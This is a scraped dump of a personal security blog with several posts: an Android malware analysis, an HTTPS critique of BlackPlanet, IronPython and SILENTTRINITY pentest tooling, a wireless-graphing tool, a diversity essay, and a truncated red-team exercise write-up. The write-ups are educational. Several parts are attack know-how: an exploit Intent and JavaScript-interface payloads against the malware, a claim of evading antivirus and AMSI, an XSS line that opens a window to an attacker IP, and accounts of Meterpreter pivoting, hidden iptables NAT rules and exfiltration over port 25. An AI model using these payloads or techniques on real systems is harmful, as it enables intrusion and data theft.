matters is the highlighted line 65 initWebView() which suggests that the main activity directly launches the WebView that is presented to the user. This turns out to be the case (as indicated by this) and we can just look at the WebView function to see what kind of settings the WebView has.\n1 2 3 4 5 6 7 8 9 10 11 12 13  private final void initWebView() { this.initWebViewBehavior(); this.initWebViewSettings(); this.initWebViewJavascriptInterface();  this.initWebViewUi(); try { this.getAppAdapter().initWebView((NestedWebView)this._$_findCachedViewById(R.id.webView)); return; } catch (AbstractMethodError abstractMethodError) { return; } }   Javascript Interfaces The immediate standout is the initWebViewJavascriptInterface() call. It turns out that there is a way for Javascript to communicate with functions written in the java classes, and that is with a Javascript Interface. This means that any webpage that is aware the application is calling it can interact directly with the code by the interface name.\nprivate final void initWebViewJavascriptInterface() { this.addWebViewJavascriptAppInterface(); this.addWebViewJavascriptBrowserInterface(); this.addWebViewJavascriptTrackerInterface(); } There\u0026rsquo;s three interfaces implemented but I focused on the what appeared to be the main one, offering the most functionality. Within the MainActivity, a JS interface named app is created. What does this interface do? Luckily, the malware author didn\u0026rsquo;t obfuscate any of the function names so here are some important ones:\n checkUpdate(): Allows the attacker to update the app. downloadFile(): Overloaded method. Allows the attacker to download files to the device. Optional arguments include opening file when download complete. downloadVideo(): Allows the attacker to download videos to the device. installPackage(): Allows the attacker to install additional packages. openFile(): Allows the attacker to open a file. openPackage(): Allows the attacker to open an application. openUri(): Allows an attacker to open a URI on the device. openUriWithChromeCustomTabs(): Allows an attacker to open up Chrome tabs. showLongToast(): Allows the attacker to create an Android toast message that shows up at the bottom of the screen. showSnackbar(): Allows the attacker to create a Snackbar popup. startActivityWithAction(): Allows the attacker to open exported Activities of other applications. startActivityWithComponent(): Allows the attacker to open exported Activities of other applications. uninstallPackage(): Allows the attacker to uninstall packages.  There\u0026rsquo;s several other functions used for enumeration of the device, but these are the primary ones that enable malicious actions. Of course, since this Activity is exported, that means we can do this ourselves!\nExploiting the MainActivity The terminology used to describe how one application talks to another is called an \u0026ldquo;intent\u0026rdquo;. Therefore, in order to manipulate this malware, we must create an intent of our own to send. Within the Main Activity code posted earlier, there\u0026rsquo;s some key information we need in order to manipulate the app.\n@Override protected void onCreate(@Nullable Bundle object) { //.. (snipped for brevity)  object = this.getIntent().getStringExtra(\u0026#34;url\u0026#34;); boolean bl = object == null || StringsKt.isBlank((CharSequence)object); if (bl) { object = this.getAppAdapter().getStartPageUrl(); } this.isStartPage = this.isStartPage((String)object); this.isVideoPage = this.getAppAdapter().isVideoPage((String)object); this.setSupportActionBar((Toolbar)this._$_findCachedViewById(R.id.toolbar)); //.. (snipped for brevity)  this.initSearchEditText(); this.initWebView(); this.setCookies((String)object); if (this.isStartPage) { //.. (snipped for brevity)  ((NestedWebView)this._$_findCachedViewById(R.id.webView)).loadUrl((String)object); } else { this.hideSplashView(); this.overridePendingTransition(2130771987, 2130771989); ((NestedWebView)this._$_findCachedViewById(R.id.webView)).loadUrl((String)object); } //.. (snipped for brevity) } We can see that the onCreate function references the calling intent and grabs a string named url, then later calls loadUrl with the URI as the parameter. This is the concept of an \u0026ldquo;Extra\u0026rdquo;. An Extra is simply a way to provide additional information with the intent. In this case, we provide a string with an Extra designated as url.\nI have an Android Studio APK project that I\u0026rsquo;ve been using to perform these kinds of tests. While setting up the project is outside the scope of this post, it\u0026rsquo;s great that Android Studio does things like import classes for you when you reference them. For example, if I make an Intent object, Android Studio will automatically import android.content.Intent. So what does the exploit look like? It\u0026rsquo;s literally just an Intent object with parameters set.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17  package com.example.exploiter; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent intent = new Intent(); intent.setClassName(\u0026#34;com.aggce.eigcw\u0026#34;, \u0026#34;com.xxconnect.mask.MainActivity\u0026#34;); intent.putExtra(\u0026#34;url\u0026#34;, \u0026#34;http://192.168.1.129:8008/index.html\u0026#34;); startActivity(intent); } }   That\u0026rsquo;s all there is to it (in this case anyway). This is a good time to mention when the app normally opens, it connects to the malicious domain with a redirect to PornHub in the URL parameters (i.e https://MALICIOUS.COM/pages/ads/ad.html?r=https://www.pornhub.com). However, since we passed in the URI extra, it attempts to open the page specified instead. This is a very basic implementation of what appears to be a common Android app vulnerability.\nWhat the app normally looks like on launch:\nHere\u0026rsquo;s what it looks like redirecting to my own URL. Unfortunately, the page does not render text for whatever reason but since it\u0026rsquo;s HTML and Javascript is enabled, I can perform some XSS with the following payload:\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Daddycocoaman\u0026#39;s Test\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; alert(\u0026#39;This is XSS!\u0026#39;); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Exploiting Javascript Interfaces Exploiting the app Javascript Interface is as simple as calling the object in Javascript. The functions that are included in the app are the same functions that we can call via JS! This also appears to be a common vulnerability in Android applications. Let\u0026rsquo;s add some of that functionality to the HTML page:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17  \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Daddycocoaman\u0026#39;s Test\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; if (window.app) { app.showLongToast(\u0026#34;This is a long toast! Thanks JS Interface!\u0026#34;); if (window.app.isPackageInstalled(\u0026#34;com.paypal.here\u0026#34;)) { alert(\u0026#34;Paypal Here is Installed!\u0026#34;); } } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt;   First, we determine if the app interface exists. If it does, then we will show a Toast message with the specified text. Next, we determine if the device has the Paypal Here app installed and if it does, we get an alert. Since all of these conditions are true, we get the following result:\nThere\u0026rsquo;s a lot of actions the app allows through the Javascript Interface implementation but this should give a general idea of how easy it is to exploit them.\nConclusion So there you have it: how my bug bounty hunt turned into malware analysis. There\u0026rsquo;s a lot more than this application does including dropping native ARM libraries, linking to additional malicious URLs, and even prompting the user to download additional malware.\nThe moral of the story is: If it\u0026rsquo;s not from the official website, it\u0026rsquo;s the wrong porn.\nI\u0026rsquo;m gonna go set my Samsung tablet on fire now. Or maybe it\u0026rsquo;ll do it for me. Who knows?\n","permalink":"https://daddycocoaman.dev/posts/bug-bounty-adventures-this-is-the-wrong-porn/","summary":"I haven\u0026rsquo;t had much luck with bug bounties. At the time of writing, all of my submissions except one have been duplicates, which can be really demotivating. But instead of giving up, I decided to shift my focus over to learning how to analyze mobile applications, particularly Android APKs. Since then, I\u0026rsquo;ve glanced through a number of APKs while looking for low hanging fruit. With only a minor understanding of the mobile world, I looked through previously disclosed bounties in order to see what kind of things I should be looking for.","title":"Bug Bounty Adventures: This Is the Wrong Porn!"},{"content":"UPDATE: A few hours after writing this post, BlackPlanet correctly implemented HTTPS redirects on their site! While it likely had nothing to do with this blog, it\u0026rsquo;s great to see they are taking a more serious approach to security.\nThere\u0026rsquo;s no doubt that there\u0026rsquo;s been an increase of demand on companies and websites to ensure that user data is protected from end-to-end. This includes both transmission and storage of data, particularly sensitive information such as passwords. Organizations such as Let\u0026rsquo;s Encrypt have risen to ensure that those in charge of websites are able to confidentally ensure their users that traffic to their servers is sent securely via HTTPS. Of course, many websites have yet to exercise due diligence when it comes to HTTPS. According to Cloudflare:\nWhile not having an SSL certificate may not appear to have a major impact to most users, it\u0026rsquo;s important to understand that traffic that is not encrypted can be intercepted and modified by anyone who has access to that traffic. This becomes extremely prevalent with public wifi in cafes, airports or any other place that might offer free wifi. There\u0026rsquo;s no end to the amount of tools that exist that make it easy for an attacker to sniff HTTP traffic and possibly even modify the traffic for malicious purposes. For this reason, it has become an expectation that websites implement SSL in order to protect their users and traffic.\nSo let\u0026rsquo;s talk about BlackPlanet.\n What is BlackPlanet? BlackPlanet is defined as \u0026ldquo;an African-American social networking service for matchmaking and job postings; it also has forums for discussion on political and social issues.\u0026quot;\nIt was founded in 1999 and was seen as a major force for social engagement in Black communities. It should be noted that even former President Obama created a BlackPlanet account in 2007 during his first campaign. Since its inception, BlackPlanet has seen a ton of growth and had even released a mobile application (which was last updated in 2016 at the time of this post). I have personally never had an account on BlackPlanet but it\u0026rsquo;s undeniable that nearly every Black person in the US growing up in the 2000s has heard of the site.\nIn fact, it\u0026rsquo;s had such a major influence that the artist Solange just recently released an album via BlackPlanet, creating a sense of nostalgia for many Black people on social media:\nWhile many people may be eager to log into their BlackPlanet accounts in order to participate in the Solange album release experience, the fact that BlackPlanet does not properly implement an HTTPS solution in this day and age should be enough for users to be wary of logging in on an unsecured network. It turns out that many security aware Black users have pointed this out to BlackPlanet on social media with no luck in getting a response. This creates a risk for BlackPlanet users and is exacerbated by the fact that a celebrity such as Solange has unwittingly increased the surface of risk by attracting more users to the \u0026ldquo;new world wiide web\u0026rdquo; website.\nIt should definitely be noted that BlackPlanet uses an Let\u0026rsquo;s Encrypt SSL certificate. However, failure to properly manage it has resulted in allowing unauthenticated users to remain at risk of traffic that may be intercepted. Additionally, the login function still occurred over HTTP.\n Problem: BlackPlanet Website All major browsers currently indicate when a website is secure with HTTPS by using an easy to spot lock icon next to the URL. When a website is transmitting in plaintext over HTTP, there is no such indication. In Chrome, you will even see the words \u0026ldquo;Not Secure\u0026rdquo; plainly written next to the URL. It should definitely be noted that BlackPlanet uses an Let\u0026rsquo;s Encrypt SSL certificate. However, failure to properly manage it has resulted in allowing unauthenticated users to remain at risk. Additionally, the login function still occurs over HTTP. Let\u0026rsquo;s see what logging in looks like.\n  Using the developer tools, the user performing the login would see something like the picture above. The highlighted red sections show that the login credentials for my test account are being passed in HTTP. Once authenticated, the user is then redirected to the website over HTTPS and can browse securely, at least until the tab or window is closed. Visiting the website in a different tab while authenticated will serve the website over HTTP with no attempt to redirect the user back to HTTPS. As a result, all session cookies are also passed in the clear, which would allow an attacker to hijack the session and perform actions as the authenticated user.\n  From the perspective of an attacker or someone who might be monitoring traffic on a network, @nappytechie has covered what it might look like:\nSolution The solution to fix this is relatively simple: ensure the proxy that handles the website redirects all users to port 443 for HTTPS immediately when the site is accessed. There should be no need to transfer any sort of data over plain HTTP, especially authenticated session tokens. Users have the option of installing HTTPS Everywhere to ensure that all connections transit over HTTPS wherever possible.\n Problem: BlackPlanet Mobile App I initially decided to write this blog after analyzing the mobile application since a significant number of users are likely accessing the website from their phones. It seemed unlikely that the mobile app on the Google Play Store would be without issues considering the HTTP state of the website. As expected, the application also hardcodes HTTP (not HTTPS) URLs for the BlackPlanet API endpoints.\nLogin     The login is interesting, as it sends JSON data not as POST data, but the parameter for a GET request. The data in the picture is passed as:\nThe result is also interesting. There is what appears to be a SHA512 hash returned as well as a value for a Facebook token. As it turns out, the SHA512 hash is actually two concatenated SHA256 hashes and the second half appears to be constant throughout multiple logins, suggesting that it is the hash of some static data such as the username and password. I was not able to determine how either SHA256 hash was generated but I definitely thought it was something of interest to note.\nThe more attractive part of this response is the fb_token field. The BP application allows the user to login via email or Facebook account. In this case, I created an account via email. However, like many apps, users may want to connect their profile to their Facebook accounts. I attempted to login with a Facebook account but was unsuccessful. I believe this might be an API issue, as the response contained no data. Facebook sign-in does work via browser so it\u0026rsquo;s likely they just changed the endpoint and forgot about the app.\n  Regardless, a Facebook token is passed in the clear. It should be noted that the only permission this token has is to read an email address from the Facebook account.\nLogout This is unrelated to any SSL issues but it caught my attention while testing the app. The logout feature of the mobile app is interesting as it doesn\u0026rsquo;t actually log the user out. The browser version sends a request to https://www.blackplanet.com/logout.php and is sure to delete all of the related cookies, but the mobile app doesn\u0026rsquo;t actually send any traffic when the user tries to logout. After reviewing the function for logging out, it became painfully obvious as to why:\n  Instead of telling the server that the user wishes to log out, this code simply sets the token value to null on the client-side. This means that any session started by the application remains logged in until the token expires. Additionally, it\u0026rsquo;s likely that multiple sessions for the user may exist, considering that the token changes at every login.\nAdditionally, once \u0026ldquo;logged out\u0026rdquo;, the application appears to remember the password and stores it in the password field during the next login. This is most likely because the username and password combination is stored in plaintext in the configuration files!\n  Or so I thought. As it turned out, while that is an issue, the reality is much simpler. The username and password are stored as variables in the application after a user logs in. As a matter of fact, those same variables are used to reauthenticate the user, as opposed to the token that was initially provided at initial login. As a result, usernames and passwords are submitted multiple times!\n  Solution Just throw the whole app away.\nSeriously though, the mobile app definitely needs an overhaul. The first major issue is that it needs to ensure that all contact with the API points are over SSL. The second is that it needs to be brought up to date with the current BlackPlanet API endpoints. At a minimum, at hardcoded HTTP URLs for BlackPlanet need to be changed to HTTPS now that a certificate has been (somewhat) applied.\n Conclusion If BlackPlanet truly wishes to revive itself and become a modern platform for Black communities, they need to take cyber security seriously. While it\u0026rsquo;s great that they have had increased traffic and user counts as of late, none of it truly matters if everyone\u0026rsquo;s data remains at risk.\n","permalink":"https://daddycocoaman.dev/posts/blackplanet-why-proper-ssl-implementation-matters/","summary":"UPDATE: A few hours after writing this post, BlackPlanet correctly implemented HTTPS redirects on their site! While it likely had nothing to do with this blog, it\u0026rsquo;s great to see they are taking a more serious approach to security.\nThere\u0026rsquo;s no doubt that there\u0026rsquo;s been an increase of demand on companies and websites to ensure that user data is protected from end-to-end. This includes both transmission and storage of data, particularly sensitive information such as passwords.","title":"BlackPlanet: Why Proper SSL Implementation Matters"},{"content":"After digging into IronPython more with the intent to create more modules for SILENTTRINITY, I decided I would release some of the other tools I’ve been working on. As Python is more my speed than C# and PowerShell currently are, I decided I would get more practice learning my way around the .NET Framework by converting C#/PowerShell scripts into IronPython to determine the limits of the language, if any.\nThe best part is that since these tools primarily use the .NET framework without using Assembly.Load(), they should be undetectable by antivirus products even with AMSI countermeasures in .NET 4.8. The video below shows AMSI bypass in .NET 4.7.\nGithub: https://github.com/daddycocoaman/IronPentest\nThe best part is that since these tools primarily use the .NET framework without using Assembly.Load(), they should be undetectable by antivirus products even with AMSI countermeasures in .NET 4.8. The video below shows AMSI bypass in .NET 4.7.\nThings to Do The primary issue right now is figuring out how to get compiled scripts that import clrtype. It appears to be possible to run executables that import clrtype on systems with IronPython but not systems without. As a result, interfacing with DLLs such as kernel32 become a lot more difficult. The alternative route would be to try using ctypes but after testing, it resulted it constantly including Python Standard Library files to the compiler to the point it was no longer user friendly. However, the IronPython compiler can read config files for compilation so that might end up being a viable solution.\nConclusion While these tools may have its niche uses, you might want to consider using the more versatile SILENTTRINITY project. However, this repo will continue to grow so check back from more IronPython tools!\n","permalink":"https://daddycocoaman.dev/posts/pentesting-with-ironpython/","summary":"After digging into IronPython more with the intent to create more modules for SILENTTRINITY, I decided I would release some of the other tools I’ve been working on. As Python is more my speed than C# and PowerShell currently are, I decided I would get more practice learning my way around the .NET Framework by converting C#/PowerShell scripts into IronPython to determine the limits of the language, if any.\nThe best part is that since these tools primarily use the .","title":"Pentesting With IronPython"},{"content":"A few weeks ago right after DerbyCon (which I wasn’t able to attend), I heard about a new post-exploitation tool called SILENTTRINITY by byt3bl33d3r, a tool developer with a l33t name with some pretty l33t tools (…I’ll stop now) such as CrackMapExec and DeathStar. This project is unique in that it utilizes Python, IronPython, and C#/.NET in order to perform post-exploitation activities similar to other frameworks such as Empire. The benefits of using a C#/.NET approach is that it’s harder to detect than PowerShell, and SILENTTRINITY puts a spin on its approach that’s appealing to any Python enthusiast in the security world.\nI heard of IronPython before but never really had the time to get into it. A few days ago, I figured now was a good time as any to help contribute to this new project by developing some basic enumeration modules. The goal of writing these modules was to completely recreate their Windows binary counterparts using just .NET assemblies, and as little of the Python standard library as possible. Between the Microsoft .NET framework documentation and some patience, I was able to create two modules: ipconfig and systeminfo (similar to Meterpreter).\nDeveloping systeminfo If you’re interested in creating a module for SILENTTRINITY, you can follow the steps outlined by David Tavarez here. However, instead of PyCharm, I opted to use VSCode because I really enjoy the lightweight feel and the customized options it offers.\nFor the sake of learning, I decided to start with something simple to navigate my way around the .NET framework. I ultimately decided that systeminfo would be my first module, as it’s one of the first commands that would be run against most Meterpreter sessions.\nThis was a very simple script to write and learn from. There was a slight issue, however. I was testing this module against Windows 10 and according to the documentation for System.Environment.OSVersion:\nStarting with Windows 8, the OSVersion property returns the same major and minor version numbers for all Windows platforms. Therefore, we do not recommend that you retrieve the value of this property to determine the operating system version.\nThis presented an inconvenience as the property could not be properly used to enumerate the version of Windows nor its build version. Instead, I opted to use the kernel32.dll product version to provide an accurate way of determining the OS Version and Build. I didn’t check but I think that the majority of system DLLs could be used to find the same information (user32.dll, advapi.dll, etc).\nLessons learned Trying to avoid using Python modules that I’m used to has led to a better understanding of the .NET Framework from an IronPython perspective. For example, in the ipconfig module, I didn’t use the ipaddress library but instead decided to learn how the System.Net.IPAddress class worked. Additionally, I started to learn to some of the limitations of the .NET Framework when it comes to interacting with some DLLs. This forced me to try to understand C# code snippets I found online and be able to apply those concepts to some other modules I’m currently working on.\nWhat’s next? More modules. More IronPython. More .NET. More C# interpretation.\n","permalink":"https://daddycocoaman.dev/posts/silenttrinity-and-the-python-of-iron/","summary":"A few weeks ago right after DerbyCon (which I wasn’t able to attend), I heard about a new post-exploitation tool called SILENTTRINITY by byt3bl33d3r, a tool developer with a l33t name with some pretty l33t tools (…I’ll stop now) such as CrackMapExec and DeathStar. This project is unique in that it utilizes Python, IronPython, and C#/.NET in order to perform post-exploitation activities similar to other frameworks such as Empire. The benefits of using a C#/.","title":"SILENTTRINITY and the Python of Iron"},{"content":"Last week, I released a tool called BeaconGraph aimed at supporting wireless auditing. As of this post, v0.2 has been released with some pretty big improvements over the initial release and can be found by clicking the logo below.\nI’ll start by saying that I’m not a wireless engineer or auditor by any means. I’ve never even been a network engineer or a network administrator for anything more than 10 clients/servers. So while attending a SANS SEC617: Auditing Wireless Networks course in September, a lot of concepts were new to me. During the course, we discussed the aircrack-ng suite, and although I was aware and had practiced with many of the tools in the suite, I was introduced to airgraph-ng for the first time. I thought it was a pretty cool concept to be able to visual the relationships between clients and access points and provide information about all of them. But there was one glaring problem:\nWhile the information was valid and nicely arranged, there was no way to quickly find or display any particular part of the graph, since airgraph-ng rendered PNG files. It crossed my mind that this would be a problem in much larger graphs for auditors, or generally anyone wishing to quickly view the data provided. Additionally, it was mentioned in that class that airgraph would crash if the data provided to it was too large.\nDevelopment Thanks to some recent interactions with Bloodhound and it’s use of neo4j for graph visualizations, the idea for BeaconGraph nearly became a reality the next day when I established a very quick proof of concept using Python and the neo4j browser. The script accepts airodump-ng formatted CSV files and parses them into client-AP relationships, then stores them in the neo4j database. It established “Probe” and “AssociatedTo” relations:\n Probe: The client device was actively probing for some Access Point that it has saved. AssociatedTo: The client device was associated to a particular AP at the time of the traffic capture.  The neo4j browser displayed all the relationships pretty nicely in some great pastel (bleh) colors but this delivery wasn’t very user friendly, as the neo4j browser is just a means of querying the database.\nThe next logical step was to develop a web application of some sort to be able to view the database. While Bloodhound’s use of Electron is a great model to use for the neo4j standard, I have no major experience with front-end development. So with some intermediate HTML/CSS/Javascript skills, I was able to create a decent user interface. After implementing Cytoscape.js, BeaconGraph was born!\nUse Cases Here’s where it got a bit difficult. As I mentioned, I am not a wireless network engineer so I can’t speak on the possibilities that BeaconGraph could be used for in an assessment. Here are some scenarios I thought might be possible.\n An audit to verify the access points that portable devices have only connected to approved access points. If a device has an unapproved access point saved (like most users do), it’ll be easy to spot with BeaconGraph and “Probes” edges. An audit to look for unauthorized APs in an environment. Granted, there are other tools to assist with this but BeaconGraph provides nice visuals to use in reporting.  The most recent scenario I thought of before drafting this write-up was not for auditing but from a penetration testing/red team perspective. After loading a significantly larger WiFi signal dataset gathered while traveling, I decided to perform some basic analysis with BeaconGraph to determine if there was any interesting data or attack approaches that could be discovered.\nIn this picture (yes, the node and neighbors are highlighted for visual pleasure!), we can see that there are a ridiculous amount of devices probing for a TMobileWingman access point. This TMobileWingman AP is saved on nearly every T-Mobile device managed networks and can’t be removed. It uses 802.1X EAP authentication and is used for in-flight texting with GoGo. Since it can’t be removed, T-Mobile devices are constantly probing for this network and, like any other saved AP, will attempt to connect to a properly configured AP with the same ESSID. There is a possibility of trying to perform some rouge attacks with Evil Twin tool eaphammer, but that isn’t what I immediately noticed.\nThe device currently in focus with the MAC address of DC:EF:CA:7C:08:0E is quickly enumerated as a T-Mobile device, as it was probing for the TMobileWingman AP. That same device was also associated to free wifi access point. If this device were to be targeted as a means of gathering credentials, it would be trivial to use a Man-In-the-Middle attack to present a T-Mobile themed web page to the user.\nAdditionally, with BeaconGraph, it’s easy to quickly visualize which access points are the most popular (xfinitywifi, attwifi and TMobileWingman seem to be the usual culprits) and prepare a Known WLAN list for tools such as WifiPhisher during assessments.\nConclusion BeaconGraph should be a welcome tool to any wireless auditor or penetration tester. While not yet considered a full release at just v0.2, there are plans to expand its features in the future. Graph visualization is an amazing medium to representing data for technical and management perspectives so check out BeaconGraph if this type of representation interests you!\n","permalink":"https://daddycocoaman.dev/posts/beacongraph-v0.2-released/","summary":"Last week, I released a tool called BeaconGraph aimed at supporting wireless auditing. As of this post, v0.2 has been released with some pretty big improvements over the initial release and can be found by clicking the logo below.\nI’ll start by saying that I’m not a wireless engineer or auditor by any means. I’ve never even been a network engineer or a network administrator for anything more than 10 clients/servers.","title":"Beacongraph v0.2 Released"},{"content":"The title is a bit vague, I know. I grew up in Brooklyn, NY and I’m about to turn 28 years old, and I can say for sure that 10 years ago, I did not see myself achieving as much as I have so far. Recently, Google granted a non-profit organization $1M to expose young black men to technical careers. This, of course, drew the “All Kids Matter” crowd to many conversations on social media. In one thread on the organization, I made a series of points that I’m rehashing for this thread.\nStory: https://www.blog.google/topics/google-org/tech-slam-dunk-helping-students-discover-code-hidden-genius-project/\n   People typically tend to find things more appealing when someone you can relate to is also involved. It’s the whole concept behind role models. The stereotypical programmer in media is viewed as a white male in their 20s-30s, wearing a button-up shirt and slacks. From that image alone, many black teens in major cities (NYC, Chicago, etc) aren’t immediately prone to show interest in a technical career, because their environment may not support showing intelligence as a socially acceptable thing (being labeled as a black nerd has a lot more negative societal pressure within a lot of communities than most others). If we had more black male leaders in the technical industry, this perspective would change drastically. If Elon Musk, Steve Jobs or Bill Gates were black, I would 100% guarantee there would be less of a stigma of black men having strong technical careers.\n  Outreach programs are designed to focus on demographics, and generally speaking, if you have a goal to improve something that’s lacking, you shouldn’t be trying to accomplish it on a broad scale. For example, if you worked in a DevOps environment and realized you needed your employees to be more proficient in Python, you wouldn’t send them to a course that teaches being efficient with all scripting languages. That does not contribute to the goal you’re trying to accomplish. Google is not saying that girls and everyone else shouldn’t be afforded the opportunity, but they recognize that there’s a huge gap in demographics and the leadership issues stated in point #1 have a huge effect on influencing younger kids.\n  I’m going to provide a personal perspective. As I mentioned, I’m from Brooklyn, where a lot of black males typically don’t get out of because of family, not being able to afford higher education, or because they’re heavily influenced by their environments to the point that they can’t see the benefits of trying to accomplish more than what they have. I have friends that still live with their parents because they literally cannot afford to go anywhere or they are incapable of doing so, for one personal reason or another. (And no, this is a not a “millennial” issue). I was fortunate enough to attend a very technical high school, but I squandered a lot of the immediate opportunities that were provided to me because I didn’t see the purpose of the majority of the classes I was in. At the time, I was focused on becoming a video game composer. I wasn’t exposed to any programs like what Google is offering here. Had I been, my life would be extremely different right now, for better or worse, and I could have skyrocketed to a place where I could have influenced younger black males in high school in the same position I was in.\n   And now, here I am at 28, only just a few years into the infosec community, but I know I’ve had a huge positive effect within my workspaces. I’ve literally been the only black male at my job for the last 3 years in a section of a little over 20 people. While that statistic might not immediately click for a lot of people, it shows the important of what Google is trying to do here. When I go to infosec meetups and conferences, I usually wear a t-shirt, shorts, sneakers and my durag because my goal is to further enforce the idea that black men ARE present in the community. I speak like I’m from NY and I don’t hide it. (My phraseology between speaking and writing are night and day). I hope that the image I portray has a positive influence on younger black men who see someone like them doing things they might be interested in, and decide to pursue technical careers of their own. But I don’t have $1M, so I appreciate companies like Google actively reaching out.\n","permalink":"https://daddycocoaman.dev/posts/black-men-in-infosec/","summary":"The title is a bit vague, I know. I grew up in Brooklyn, NY and I’m about to turn 28 years old, and I can say for sure that 10 years ago, I did not see myself achieving as much as I have so far. Recently, Google granted a non-profit organization $1M to expose young black men to technical careers. This, of course, drew the “All Kids Matter” crowd to many conversations on social media.","title":"Black Men in Infosec"},{"content":"I was invited to be a part of a red team as part of a practice for a cyber defense event. I didn’t really know what to expect but I couldn’t miss the opportunity to learn, so I accepted. We had two days to learn our infrastructure and two days to actively engagement. In a team of four, this was the first time red teaming for two of us. A lot of learning occurred between the four of us and ultimately for the blue team. This was the scenario:  RED TEAM: Red Team (codename POPTART) had previously infiltrated the network via unknown accesses and obtained domain admin credentials.\nBLUE TEAM: Blue Team was brought in as incident response to mitigate and identify accesses, determine POPTART tactics and simultaneously protect critical files (referred to as Horses) on a file server.\n TEAM BREAKDOWN (names are not real)  3 Kali VMs (Version 2016.2) 2 Window 7 VMs, no tools Router VM to NAT our \u0026ldquo;internet network\u0026rdquo; to internal IPs Default domain credentials (every user/Admin had same password) Ability to simulate user activity  Me: First timer. Proficient with popular tools on Kali, pentesting concepts. Basically assigned myself the role of being creative with maintaining access and exfiltration. Cino: Experienced with *Nix systems and routing. Anchor of POPTART and generally had the best ideas. Hib: Experienced with Metasploit. Loved spear-phishing. Assigned to making a lot of obvious noise with Meterpreter sessions. Ed: First timer. Familiar with Metasploit concepts but not proficient with penetration testing. Mostly played support for the three of us, since he was learning and subbed in during breaks.\nRULES  No easy exploits, including ETERNALBLUE. (We could have knocked over almost every box). External and internal webserver accesses were whitecarded, but we could only touch the internal webserver if we had some other point of presence.   DAY 1: First day of the exercise was really interesting. We had domain admin creds ahead of time and had set up an access on their DMZ webserver. We had to white card the external webserver access since the guys who created the range couldn’t get the Apache service up and served their website with Python’s SimpleHTTPServer. Additionally, the webserver was an Ubuntu workstation, so there was no real remote administration. Additionally, the firewall in front of the webserver only allowed 22, 25, 80 and 443 in. We staged nearly everything from the DMZ webserver.\nWithin about 30 minutes, Cino was able to get on the Domain Controller using the creds we received. He downloaded the files and modified them with Pop Tart images. What was genius was the way he accomplished it. There were two misconfigured DNS servers in the DMZ (they weren’t joined to the domain or configured to actually do DNS things). From his Windows box, he pivoted through the DMZ webserver to the DNS box, and gained access to it using only WinRm commands. As a matter of fact, he only used creds and WinRm to pivot all the way to the DC.\nThat’s cool and all, but here’s the impressive part. After he set that up, he went back to the DMZ server and modified iptables so that A) He could use TTL matching to NAT and launch himself to any Windows box using WinRm and B) Dorked the iptables command so that it didn’t show any of his NAT rules. He was able to maintain this access the entire exercise.\nMeanwhile, Hib was working on social engineering. He sent some emails to users, giving them a link to his own Python webserver where he served a “System Update” file. He clicked the link as one of the users and got a Meterpreter session. Blue team noticed pretty quickly but was pretty slow in counteracting it. Apparently, the Blue team was set up with a lot of monitoring tools but didn’t have a lot of prevention. Also, it was around this time that we realized that they were only monitoring Windows systems, and not the Ubuntu external and internal webservers. From the user workstation, Hib was able to access the mounted share, which we found out that every user had access to per a domain GPO, downloaded the files himself as well.\nBlue team started to log Cino’s and Hib’s IPs as malicious, but took about two hours to actually block them. That was fine with Cino and Hib, since we were able to to change our public IPs on our router. Also, Hib had used Metasploit’s persistence module to set up callbacks to his second IP before he had even assigned it to himself. That realistically could have been seen as using a different callback server than exploitation server. Because of that, he was able to get another session back fairly quickly. Cino used the same technique to get access again.\nA bit later, Blue team started shutting down outbound ports from the internal net that were not 25, 80 and 443. But for some reason, they left 443 outbound on the DC. Not sure why. They also tried to implement a password reset policy on the domain so that the next time a user logged in, they had to change the password. Unfortunately for them, they didn’t know that Cino was RDPed into the DC, so he just clicked no. Other RDP sessions acted the same way, giving us prompts to change the password after we used the default creds.\nUsing Hib’s access and the whitecarded rule on the internal webserver, I modified their main webserver page for some BeEF XSS via a \u0026lt;script\u0026gt; tag. Domain policy was to set the internal webserver as the default Internet Explorer homepage, so I figured that would be fun since every user and admin would automatically get hooked as soon as they opened the internal webpage.\nBut as it turns out, the Ruby on our Kali boxes didn’t work so well with BeEF so the hook.js file didn’t work. We had no way of updating the system so I decided to take a more direct approach. Blue team noticed my IP and saw the BeEF butcher page, but didn’t find it malicious. They considered my IP to be a “watering hole”.\nShortly after, some Blue team member had set a firewall rule completely blocking the internal net from accessing the internet and we lost all accesses. However, having access from the internal to DMZ was critical for the scenario. That pretty much led to the end of Day 1 and we had a debrief.\nCino messed around a bit and started sending out random traffic to give them a hint where he was located. Hib re-approached social engineering via email to get users to run executables. He was trying to be light with it since he basically slammed them with it the day before and couldn’t think of a new approach. Hib had to leave shortly after the start so Ed took over for the rest of the day, learning his way around. Also, I had to change my XSS tactic. I decided to use Ghost Phisher so I changed the XSS to automatically open up a window to a malicious site with:\n\u0026lt;img src=\u0026#34;poptart.jpg\u0026#34; onerror=window.open(http://myIP)\u0026gt;\u0026lt;/img\u0026gt;   A user downloaded the executable, and gave me a meterpreter shell. From there, it took me less than a minute to pivot over to their SQL server using Psexec with credentials they STILL hadn’t changed, dump the database (no real data in it), and create a SQL admin. At this point, I had two meterpreter sessions open. I then whitecarded over to the internal webserver and smbclient’ed my way to the file share. I copied the files then wrote a super simple Python script to exfil my data out port 25 to my server. After that, Blue Team finally implemented a GPO to prevent users from running executables.\nShortly after, and while we still had access to every box on the internal site, POPTART decided to call it a day. I think this was the first time any of them had seen successful web exploitation, or the consistent use of WinRM so a lot of learning definitely occurred between ourselves and the Blue Team. We talked them into how to find us and what they could have done to stop us.\nLESSONS LEARNED: Ultimately, the responses were extremely slow. They saw nearly everything we did, but it took them forever to actually cut us off or try to implement mitigations. They immediately noticed my first successful XSS redirection but didn’t really know what they were looking at. They had no sandbox to open up the 